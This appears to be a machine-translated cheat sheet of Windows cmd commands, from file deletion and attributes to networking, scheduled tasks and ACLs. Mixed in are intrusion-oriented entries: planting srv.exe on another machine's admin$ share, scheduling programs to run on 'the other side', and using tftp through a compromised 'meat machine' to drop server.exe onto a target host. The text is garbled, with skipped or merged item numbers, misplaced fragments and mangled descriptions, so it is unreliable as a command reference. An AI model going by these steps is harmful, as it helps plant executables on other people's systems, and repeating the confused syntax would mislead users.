cmd command

1. dir to view the file
2. ipconfig to view ip, etc.
3. tlist -t to display the process in a tree line list (it is an additional tool for the system, it is not installed by default, it is in the Support/tools folder of the installation directory)   
5. del -F file name plus - After the F parameter, the read-only file can be deleted, /AR, /AH, /AS, /AA means to delete the read-only, hidden, system, and archive files respectively, /AR, /AH, /AS, /AA means to delete the read-only file. , hidden, system, files other than archives. For example, "DEL/AR *.*" means delete all read-only files in the current directory, "DEL/AS *.*" means delete all files in the current directory except system files del /S /Q directory or use: rmdir / s /Q directory /S deletes the directory and all subdirectories and files under the directory. Simultaneously use the parameter /Q to cancel the system confirmation of the delete operation and delete it directly. (The functions of the two commands are the same)  
6. move The path of the drive letter path to move the file name to store the path of the moving file After moving the file name to move the file, use the parameter /y to cancel the prompt to confirm that the same file exists in the moving directory and directly overwrite it  
7. fc one.txt two.txt > 3st.txt Compare the two files and output the difference to the 3st.txt file, "> " and "> >" are redirect commands at id number to open a registered scheduled task  
8. at /delete stop all scheduled tasks, use parameter /yes to stop directly without confirmation  
9. at id number/delete stop a registered scheduled task at view all scheduled tasks  
10. at ip time program name ( Or a command) /r run a program on the other side at a certain time and restart the computer  
11. finger username @host to see which users have recently logged in  
12. The telnet ip port is far from the login server. The default port is 23.  
13. Open ip is connected to the IP (a command after telnet login   )
.  
Name 1 Path File Name 2 /y Copy file 1 to the specified directory as file 2, use the parameter /y to cancel the confirmation that you want to rewrite an existing directory file  
16. copy c:srv.exe ipadmin$ Copy the local c:srv .exe to the other party's admin  
17. Copy 1st.jpg/b+2st.txt/a 3st.jpg Hide the content of 2st.txt in 1st.jpg to generate a new file of 3st.jpg, note: 2st.txt file The header must be empty for three rows, parameters: /b refers to binary files, /a refers to ASCLL format files  
18, copy ipadmin$svv.exe c: or: copyipadmin$*.* Copy the srv.exe file shared by the other party’s admini$ (all file) to the local C:  
19. xcopy The file or directory tree to be copied, the target address and directory name, the file and directory tree are copied, and the parameter /Y will not prompt to overwrite the same file. Only use the parameter /e to copy the subdirectories under the directory together to the target address.  
20. tftp -i own IP (when using the meat machine as a springboard, the meat machine IP is used) get server.exe c:server.exe After logging in, download the "IP" server.exe to the target host c:server.exe Parameters :-i means to transmit in binary mode, such as when transmitting exe file, if not add -i, transmit in ASCII mode (transmit text file mode)  
21. tftp -i peer IP put c:server.exe After logging in, upload the local c:server.exe to the host  
22. The ftp ip port is used to upload files to the server or perform file operations. The default port is 21. bin refers to binary transmission (executable file entry); the default is ASCII format transmission (text file) route print Displays the IP route, and will mainly display the network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface Address Interface  
23, arp View and process the ARP cache, ARP is the meaning of name resolution, and is responsible for resolving an IP into a physical MAC address. arp -a will display all information  
24, start program name or command /max or /min to open a new window and maximize (minimize) run a program or command  
25, mem to view cpu usage  
26, attrib file name ( Directory name) View the attributes of a file (directory)  
27, attrib file name -A -R -S -H or +A +R +S +H Remove (add) the archive of a file, read-only, system, hidden attributes; Use + to add as a property  
 
29, set displays all current environment variables  
30, set p (or other characters) displays all current environment variables starting with the character p (or other characters)  
31, pause pauses the batch program, And it shows: please press any key to continue....  
32, if executes conditional processing in the batch program (see the if command and variables for more instructions)  
33. The goto label directs cmd.exe to the labelled line in the batch program (the label must be on a separate line and begins with a colon, for example: ":start" label)  
34. The call path batch file name is taken from the batch program Call another batch program (see call /? for more instructions)  
35. for executes a specific command on each file in a group of files (see for command and variables for more instructions)  
36. echo on or off turns on or off Turn off echo, only use echo without parameters to display the current echo settings  
37,  
38, findstr "Hello" aa.txt Find the string hello in the aa.txt file  
39, find file name Find a file title Title name Change the CMD window title Name  
40, color color value set cmd console foreground and background color; 0=black, 1=blue, 2=green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8= Gray, 9=Light Blue, A=Light Green, B=Light Green, C=Light Red, D=Light Purple, E=Light Yellow, F=Bright White  
41, prompt name Change the displayed command prompt of cmd.exe Symbol (change C:, D: to: EntSky)  
42. ver displays version information in the DOS window  
43. winver pops up a window to display version information (memory size, system version, patch version, computer name)  
44. format disk Character /FS: Type formatted disk, type: FAT, FAT32, NTFS, for example: Format D: /FS: NTFS  


46, replace source file The directory of the file to be replaced replace the file  
47, ren original file name new file name rename file name  


49, type file name display the content of the text file  
50, more file name display the output file screen by screen  
51, doskey to lock the command = character  
52, doskey to unlock the command = for DOS Lock commands provided (edit command line, recall win2k commands, and create macros). Such as: lock dir command: doskey dir=entsky (cannot use 53, doskey dir=dir); unlock: doskey dir=  
54, taskmgr call out task manager  
55, chkdsk /FD: check disk D and display status report; add parameters /f and fix the error 56 on the disk  
, tlntadmn telnt service admn, type tlntadmn to select 3, and then select 8, you can change the default port 23 of the telnet service to any other port  
 
58, path path The executable file's file name is executable Set a path.  
59. cmd starts a win2K command interpretation window.
Parameter: / eff   , /en turn off and turn on command extension; see
cmd /? for more detailed instructions   e registry file name export registry  
62. The cacls file name parameter displays or modifies the file access control list (ACL) - for NTFS format. Parameters: /D username: set to deny access to a user; /P username: perm replace the access authority of the specified user; /G username: perm give the specified user access authority; Perm can be: N no, R read, W write, C change (write), F full control; eg: cacls D: est.txt /D pub set d: est.txt to deny pub user access. cacls file name View file access user permissions list  
63, REM text content Add comments to batch files  
64, netsh View or change the local network configuration


                                                        
                                             

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=324694206&siteId=291194637